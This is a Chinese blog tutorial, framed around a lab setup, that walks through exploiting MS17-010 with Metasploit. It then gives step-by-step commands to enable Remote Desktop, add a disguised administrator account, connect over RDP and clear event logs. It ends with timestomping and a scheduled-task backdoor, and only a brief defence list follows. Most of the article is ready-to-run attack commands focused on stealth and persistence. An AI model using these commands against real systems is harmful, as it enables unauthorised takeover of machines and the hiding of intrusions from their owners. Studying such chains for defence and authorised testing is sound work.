当前位置: 首页 > news >正文

实战演练:从漏洞利用到图形化渗透,详解Getshell后的3389接管全流程

1. 靶场环境搭建与基础配置

在开始实战演练之前,我们需要先搭建一个标准的渗透测试环境。这个环境由两台虚拟机组成:攻击机使用Kali Linux 2023.2版本,IP地址设置为192.168.25.130;靶机使用Windows 7 SP1企业版,IP地址为192.168.25.132。建议将两台机器都设置为桥接网络模式,确保它们处于同一局域网段。

我建议在VMware Workstation中为靶机创建一个快照,标记为"初始状态"。这样在每次实验完成后可以快速恢复到干净状态。同时记得关闭Windows防火墙和自动更新服务,避免干扰实验过程。在实际渗透测试中,这些防护措施是需要逐步绕过的,但作为教学演示我们先简化环境配置。

2. 利用永恒之蓝漏洞获取初始Shell

永恒之蓝(MS17-010)是Windows SMB协议的经典漏洞,虽然已经过去多年,但在内网渗透中仍然具有重要价值。在Kali中启动Metasploit框架,依次执行以下命令:

msfconsole use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.25.132 set payload windows/x64/meterpreter/reverse_tcp set LHOST 192.168.25.130 exploit

成功执行后,我们会获得一个meterpreter会话。这里有个实用技巧:立即执行getuid命令查看当前权限级别。如果是普通用户权限,需要先进行提权操作。我常用的方法是:

getsystem

如果提权失败,可以尝试使用post/multi/recon/local_exploit_suggester模块寻找合适的本地提权漏洞。获得system权限后,建议先执行sysinfo记录靶机系统信息,这对后续操作很有帮助。

3. 命令行开启3389远程桌面服务

在meterpreter会话中,输入shell进入命令行界面。首先检查3389端口是否已经开放:

netstat -ano | find "3389"

如果没有任何输出,说明远程桌面服务未开启。我们需要通过注册表修改来启用它。这里提供两种我实测有效的方法:

方法一:使用WMIC命令

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

方法二:修改注册表键值

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

执行成功后,建议再次确认端口状态。有时候还需要检查防火墙规则,可以运行:

netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 action=allow

4. 创建隐蔽用户并提权

直接创建新用户容易被发现,我推荐先检查现有用户列表:

net user

然后创建一个看似正常的用户名,比如"backupadmin":

net user backupadmin P@ssw0rd123 /add net localgroup administrators backupadmin /add

更隐蔽的做法是克隆现有用户。首先查看注册表中的用户SID:

wmic useraccount get name,sid

然后找到类似"500"的管理员账户SID,将其权限克隆到新建账户。这个操作需要修改注册表,具体步骤较为复杂,建议新手先掌握基础方法。

5. 使用Kali工具建立图形化连接

Kali Linux自带了多个RDP客户端工具,我最常用的是xfreerdp。基本连接命令如下:

xfreerdp /u:backupadmin /p:P@ssw0rd123 /v:192.168.25.132 /size:90% +clipboard

+clipboard参数启用了剪贴板共享,这在渗透测试中非常实用。如果遇到证书错误,可以添加/cert:ignore参数。对于高分辨率屏幕,建议使用/dynamic-resolution参数让远程桌面自动适应窗口大小。

另一个实用工具是rdesktop,命令更简洁:

rdesktop -u backupadmin -p P@ssw0rd123 192.168.25.132 -g 90%

连接成功后,建议立即进行几个关键操作:清除事件日志、禁用安全中心通知、设置屏幕保护程序密码。这些操作能延长我们的控制时间。

6. 痕迹清理与持久化维持

图形化操作会留下大量日志,我们需要进行基本清理。在meterpreter会话中:

clearev

还可以使用timestomp修改文件时间戳。为了维持持久访问,我通常会创建计划任务:

schtasks /create /tn "WindowsUpdate" /tr "cmd.exe /c net user backupadmin P@ssw0rd123 /add" /sc onlogon /ru system

这个任务会在每次系统启动时执行,确保我们的后门账户不会被删除。更高级的方法是通过WMI事件订阅实现无文件持久化,但这需要更深入的系统知识。

7. 防御措施与检测方法

作为负责任的渗透测试人员,我们必须了解如何防御此类攻击。管理员可以采取以下措施:

  • 定期安装系统补丁
  • 启用网络级身份验证(NLA)
  • 修改默认3389端口
  • 配置账户锁定策略
  • 监控异常登录事件

在安全设备上,建议启用对SMB协议的特殊检测规则,并监控异常注册表修改行为。对于3389端口的爆破尝试,应该设置自动阻断机制。

http://www.jsqmd.com/news/898054/

相关文章:

  • 5分钟学会跨平台资源下载:res-downloader让你的网络收藏更高效
  • 国内大理石构件厂家综合实力排行:精度与交付双维度对比 - 奔跑123
  • 从零搭建手机可访问的本地私人AI聊天系统:基于Ollama + OpenWebUI
  • 为内部知识问答机器人选择并接入性价比最高的模型服务
  • 国内长丝土工布厂家实力排行:两家头部企业实测对比 - 奔跑123
  • 如何快速美化Nginx配置:终极格式化工具完全指南
  • 【PCB Layout实战】从源头到路径:构建稳健信号系统的抗干扰设计策略
  • Anylogic三维窗口实战:从静态占位到动态视角的沉浸式仿真
  • ChatGPT构图建议准确率提升至91.7%:基于2000+张布列松/萨尔加多原作训练的微调模型(限前500名开发者领取)
  • 国内正规变压器油厂家排行:基于实测数据的客观盘点 - 奔跑123
  • Miner-8B-i1-GGUF社区贡献指南:如何参与模型量化与优化
  • 如何为 imToken 钱包开发插件并接入大模型对话功能
  • Taotoken API Key的精细化管理与访问审计功能实践分享
  • 长丝土工布厂家合规排行:两家山东头部企业实测解析 - 奔跑123
  • 芯片设计中的安全感知任务调度:应对第三方IP硬件木马威胁
  • 从CD4518到数码管:手把手构建数字时钟的六十进制与二十四进制计数器
  • 终极免费Minecraft启动器:PrismLauncher完全使用指南
  • PakePlus完整指南:5分钟将网站变身为轻量级桌面和手机应用
  • 终极NPU部署教程:GritLM-7B-KTO在国产硬件上的高效运行方案
  • 2026年阳泉专业奢侈品回收:全品类鉴定流程深度解析 - 阿辉……
  • 2026厦门黄金变现安全交易指南:正规连锁机构资质与服务全解析 - 薛定谔的梨花猫
  • Page Assist终极指南:浏览器侧边栏本地AI助手完整教程
  • 解构Java布尔类型:从栈内存到堆内存的跨越
  • JavaQuestPlayer:一站式解决QSP游戏运行与开发的终极方案
  • 如何快速掌握戴森球计划蓝图仓库:从新手到专家的4步进阶指南
  • 深圳新房装修后专业甲醛检测上门攻略:2026 本地服务商推荐 - 环保除醛知识库
  • 终极指南:如何使用Gyroflow消除视频抖动,让运动画面如丝般顺滑![特殊字符]
  • 2026年太谷区包包回收:LV、Chanel、Gucci 等品牌回收行情一览 - 阿辉……
  • LookScanned.io:三步将电子PDF变成专业扫描件
  • STM32CubeMX实战:DAC+DMA+TIM生成任意频率正弦波信号